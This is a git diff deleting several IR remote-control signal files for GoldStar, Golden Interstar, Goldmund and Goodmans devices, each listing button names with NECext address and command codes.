b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/GoldStar/Unknown_Goldstar-VCR/110,-1.ir deleted file mode 100644 index 40c9d5898..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/GoldStar/Unknown_Goldstar-VCR/110,-1.ir +++ /dev/null @@ -1,152 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 01 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 02 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 03 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 04 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 05 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 06 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 07 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 08 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 09 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 0B 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 0C 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 0D 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 0E 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 0F 00 00 00 -# -name: f/a -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 10 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 14 00 00 00 -# -name: PrUp -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 18 00 00 00 -# -name: PrDown -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 19 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 1C 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 1D 00 00 00 -# -name: trackUp -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 44 00 00 00 -# -name: trackDown -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 45 00 00 00 -# -name: cl/cnt -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 4C 00 00 00 -# -name: reset -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 4D 00 00 00 -# -name: TU/AV -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 56 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/GoldStar/Unknown_RN800AW/110,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/GoldStar/Unknown_RN800AW/110,-1.ir deleted file mode 100644 index ebe4ba240..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/GoldStar/Unknown_RN800AW/110,-1.ir +++ /dev/null @@ -1,74 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 01 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 02 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 03 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 08 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 09 00 00 00 -# -name: A.REPEART -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 0A 00 00 00 -# -name: STILL/F.ADV -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 0B 00 00 00 -# -name: TRK+ -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 11 00 00 00 -# -name: TRK- -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 12 00 00 00 -# -name: OPERATE -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 14 00 00 00 -# -name: TV/VCR -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 15 00 00 00 -# -name: A.TRK -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 17 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/GoldStar/Unknown_VCR/110,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/GoldStar/Unknown_VCR/110,-1.ir deleted file mode 100644 index 8c76338cf..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/GoldStar/Unknown_VCR/110,-1.ir +++ /dev/null @@ -1,146 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 01 00 00 00 -# -name: FRWD -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 02 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 03 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 04 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 05 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 06 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 07 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 08 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 09 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 0B 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 0C 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 0D 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 0E 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 0F 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 14 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 16 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 1C 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 1D 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 4C 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 82 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 83 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 89 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 8E 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 90 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/GoldStar/Unknown_cd/16,16.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/GoldStar/Unknown_cd/16,16.ir deleted file mode 100644 index 0daa0dcf0..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/GoldStar/Unknown_cd/16,16.ir +++ /dev/null @@ -1,134 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_RADIO -type: parsed -protocol: NECext -address: 10 10 00 00 -command: 00 00 00 00 -# -name: mw -type: parsed -protocol: NECext -address: 10 10 00 00 -command: 01 00 00 00 -# -name: lw -type: parsed -protocol: NECext -address: 10 10 00 00 -command: 02 00 00 00 -# -name: KEY_CD -type: parsed -protocol: NECext -address: 10 10 00 00 -command: 03 00 00 00 -# -name: ply/pau -type: parsed -protocol: NECext -address: 10 10 00 00 -command: 04 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 10 10 00 00 -command: 05 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 10 10 00 00 -command: 06 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 10 10 00 00 -command: 07 00 00 00 -# -name: KEY_TAPE -type: parsed -protocol: NECext -address: 10 10 00 00 -command: 08 00 00 00 -# -name: KEY_AUX -type: parsed -protocol: NECext -address: 10 10 00 00 -command: 09 00 00 00 -# -name: pre- -type: parsed -protocol: NECext -address: 10 10 00 00 -command: 12 00 00 00 -# -name: pre+ -type: parsed -protocol: NECext -address: 10 10 00 00 -command: 13 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 10 10 00 00 -command: 16 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 10 10 00 00 -command: 17 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 10 10 00 00 -command: 1E 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 10 10 00 00 -command: 1F 00 00 00 -# -name: eqpatt -type: parsed -protocol: NECext -address: 10 10 00 00 -command: 40 00 00 00 -# -name: dskip -type: parsed -protocol: NECext -address: 10 10 00 00 -command: 4A 00 00 00 -# -name: prog -type: parsed -protocol: NECext -address: 10 10 00 00 -command: 4D 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 10 10 00 00 -command: 4E 00 00 00 -# -name: random -type: parsed -protocol: NECext -address: 10 10 00 00 -command: 50 00 00 00 -# -name: remain -type: parsed -protocol: NECext -address: 10 10 00 00 -command: 51 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/GoldStar/VCR/110,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/GoldStar/VCR/110,-1.ir deleted file mode 100644 index c55c85460..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/GoldStar/VCR/110,-1.ir +++ /dev/null @@ -1,122 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: STOP -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 01 00 00 00 -# -name: REWIND_<< -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 02 00 00 00 -# -name: FAST_FORWARD_>> -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 03 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 04 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 05 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 06 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 07 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 08 00 00 00 -# -name: RECORD -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 09 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 0B 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 0C 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 0D 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 0E 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 0F 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 14 00 00 00 -# -name: TV/VCR -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 15 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 1C 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 1D 00 00 00 -# -name: TRACK_+ -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 44 00 00 00 -# -name: TRACK_- -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 45 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Golden Interstar/Sat/128,255.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Golden Interstar/Sat/128,255.ir deleted file mode 100644 index b4c75fadf..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Golden Interstar/Sat/128,255.ir +++ /dev/null @@ -1,248 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER -type: parsed -protocol: NECext -address: 80 FF 00 00 -command: 59 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 80 FF 00 00 -command: 0D 00 00 00 -# -name: REC -type: parsed -protocol: NECext -address: 80 FF 00 00 -command: 59 00 00 00 -# -name: GOTO -type: parsed -protocol: NECext -address: 80 FF 00 00 -command: 5E 00 00 00 -# -name: ASPECT -type: parsed -protocol: NECext -address: 80 FF 00 00 -command: 0C 00 00 00 -# -name: V.FORMAT -type: parsed -protocol: NECext -address: 80 FF 00 00 -command: 41 00 00 00 -# -name: REWIND -type: parsed -protocol: NECext -address: 80 FF 00 00 -command: 44 00 00 00 -# -name: FFWD -type: parsed -protocol: NECext -address: 80 FF 00 00 -command: 45 00 00 00 -# -name: NEXT -type: parsed -protocol: NECext -address: 80 FF 00 00 -command: 46 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 80 FF 00 00 -command: 47 00 00 00 -# -name: TTX/RED -type: parsed -protocol: NECext -address: 80 FF 00 00 -command: 05 00 00 00 -# -name: SUB.T/GREEN -type: parsed -protocol: NECext -address: 80 FF 00 00 -command: 09 00 00 00 -# -name: ZOOM/YELLOW -type: parsed -protocol: NECext -address: 80 FF 00 00 -command: 42 00 00 00 -# -name: OPTION/BLUE -type: parsed -protocol: NECext -address: 80 FF 00 00 -command: 43 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: 80 FF 00 00 -command: 04 00 00 00 -# -name: FAV -type: parsed -protocol: NECext -address: 80 FF 00 00 -command: 1B 00 00 00 -# -name: UP/CH+ -type: parsed -protocol: NECext -address: 80 FF 00 00 -command: 00 00 00 00 -# -name: DOWN/CH- -type: parsed -protocol: NECext -address: 80 FF 00 00 -command: 01 00 00 00 -# -name: LEFT/VOL- -type: parsed -protocol: NECext -address: 80 FF 00 00 -command: 03 00 00 00 -# -name: RIGHT/VOL+ -type: parsed -protocol: NECext -address: 80 FF 00 00 -command: 02 00 00 00 -# -name: OK -type: parsed -protocol: NECext -address: 80 FF 00 00 -command: 1F 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 80 FF 00 00 -command: 1A 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: 80 FF 00 00 -command: 1C 00 00 00 -# -name: VOL+ -type: parsed -protocol: NECext -address: 80 FF 00 00 -command: 58 00 00 00 -# -name: VOL- -type: parsed -protocol: NECext -address: 80 FF 00 00 -command: 5D 00 00 00 -# -name: SAT -type: parsed -protocol: NECext -address: 80 FF 00 00 -command: 1E 00 00 00 -# -name: EPG -type: parsed -protocol: NECext -address: 80 FF 00 00 -command: 40 00 00 00 -# -name: PAGE+ -type: parsed -protocol: NECext -address: 80 FF 00 00 -command: 5A 00 00 00 -# -name: PAGE- -type: parsed -protocol: NECext -address: 80 FF 00 00 -command: 5F 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 80 FF 00 00 -command: 11 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 80 FF 00 00 -command: 12 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 80 FF 00 00 -command: 13 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 80 FF 00 00 -command: 14 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 80 FF 00 00 -command: 15 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 80 FF 00 00 -command: 16 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 80 FF 00 00 -command: 17 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 80 FF 00 00 -command: 18 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 80 FF 00 00 -command: 19 00 00 00 -# -name: FIND -type: parsed -protocol: NECext -address: 80 FF 00 00 -command: 65 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 80 FF 00 00 -command: 10 00 00 00 -# -name: MP -type: parsed -protocol: NECext -address: 80 FF 00 00 -command: 07 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Golden Interstar/Unknown_Interstar/4,16.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Golden Interstar/Unknown_Interstar/4,16.ir deleted file mode 100644 index 1ed687f56..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Golden Interstar/Unknown_Interstar/4,16.ir +++ /dev/null @@ -1,248 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 04 10 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 04 10 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 04 10 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 04 10 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 04 10 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 04 10 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 04 10 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 04 10 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 04 10 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 04 10 00 00 -command: 09 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 04 10 00 00 -command: 0A 00 00 00 -# -name: FULLINFO -type: parsed -protocol: NECext -address: 04 10 00 00 -command: 0B 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 04 10 00 00 -command: 0C 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: 04 10 00 00 -command: 0D 00 00 00 -# -name: KEY_EPG -type: parsed -protocol: NECext -address: 04 10 00 00 -command: 0E 00 00 00 -# -name: +100 -type: parsed -protocol: NECext -address: 04 10 00 00 -command: 0F 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 04 10 00 00 -command: 10 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 04 10 00 00 -command: 11 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 04 10 00 00 -command: 12 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 04 10 00 00 -command: 13 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 04 10 00 00 -command: 14 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 04 10 00 00 -command: 15 00 00 00 -# -name: KEY_RADIO -type: parsed -protocol: NECext -address: 04 10 00 00 -command: 16 00 00 00 -# -name: -100 -type: parsed -protocol: NECext -address: 04 10 00 00 -command: 17 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 04 10 00 00 -command: 18 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 04 10 00 00 -command: 19 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 04 10 00 00 -command: 1A 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 04 10 00 00 -command: 1B 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 04 10 00 00 -command: 1C 00 00 00 -# -name: KEY_FAVORITES -type: parsed -protocol: NECext -address: 04 10 00 00 -command: 1E 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 04 10 00 00 -command: 1F 00 00 00 -# -name: LINEINFO -type: parsed -protocol: NECext -address: 04 10 00 00 -command: 40 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 04 10 00 00 -command: 41 00 00 00 -# -name: UHF -type: parsed -protocol: NECext -address: 04 10 00 00 -command: 42 00 00 00 -# -name: KEY_F4 -type: parsed -protocol: NECext -address: 04 10 00 00 -command: 43 00 00 00 -# -name: KEY_F3 -type: parsed -protocol: NECext -address: 04 10 00 00 -command: 44 00 00 00 -# -name: KEY_F2 -type: parsed -protocol: NECext -address: 04 10 00 00 -command: 45 00 00 00 -# -name: KEY_F1 -type: parsed -protocol: NECext -address: 04 10 00 00 -command: 46 00 00 00 -# -name: A-Z -type: parsed -protocol: NECext -address: 04 10 00 00 -command: 47 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 04 10 00 00 -command: 48 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 04 10 00 00 -command: 49 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Goldmund/CD Player/20,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Goldmund/CD Player/20,-1.ir deleted file mode 100644 index 3c1701584..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Goldmund/CD Player/20,-1.ir +++ /dev/null @@ -1,44 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: SHUFFLE -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 1C 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 1D 00 00 00 -# -name: NEXT_TRACK -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 20 00 00 00 -# -name: PREV_TRACK -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 21 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 30 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 35 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 36 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Goodmans/Unknown_GDB/8,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Goodmans/Unknown_GDB/8,-1.ir deleted file mode 100644 index 5d4fd543a..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Goodmans/Unknown_GDB/8,-1.ir +++ /dev/null @@ -1,200 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 09 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 0A 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 0C 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 0D 00 00 00 -# -name: TV/DTV -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 0E 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 10 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 11 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 12 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 13 00 00 00 -# -name: KEY_SELECT -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 14 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 15 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 16 00 00 00 -# -name: WIDE -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 1E 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 20 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 21 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 22 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 26 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 32 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 34 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 35 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 36 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 37 00 00 00 -# -name: KEY_TEXT -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 3C 00 00 00 -# -name: KEY_I -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 3F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Goodmans/Unknown_GDVD124/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Goodmans/Unknown_GDVD124/0,-1.ir deleted file mode 100644 index e258f3342..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Goodmans/Unknown_GDVD124/0,-1.ir +++ /dev/null @@ -1,260 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: REVPLAY -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: KEY_SLOW -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0B 00 00 00 -# -name: PAL_NTSC -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: KEY_ZOOM -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: KEY_TITLE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 12 00 00 00 -# -name: L_R -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 13 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 14 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 15 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 16 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 17 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 18 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 19 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1A 00 00 00 -# -name: KEY_ANGLE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1B 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1C 00 00 00 -# -name: KEY_SETUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1D 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1E 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1F 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 47 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 48 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 49 00 00 00 -# -name: REV -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4A 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4B 00 00 00 -# -name: SKIP_R -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4E 00 00 00 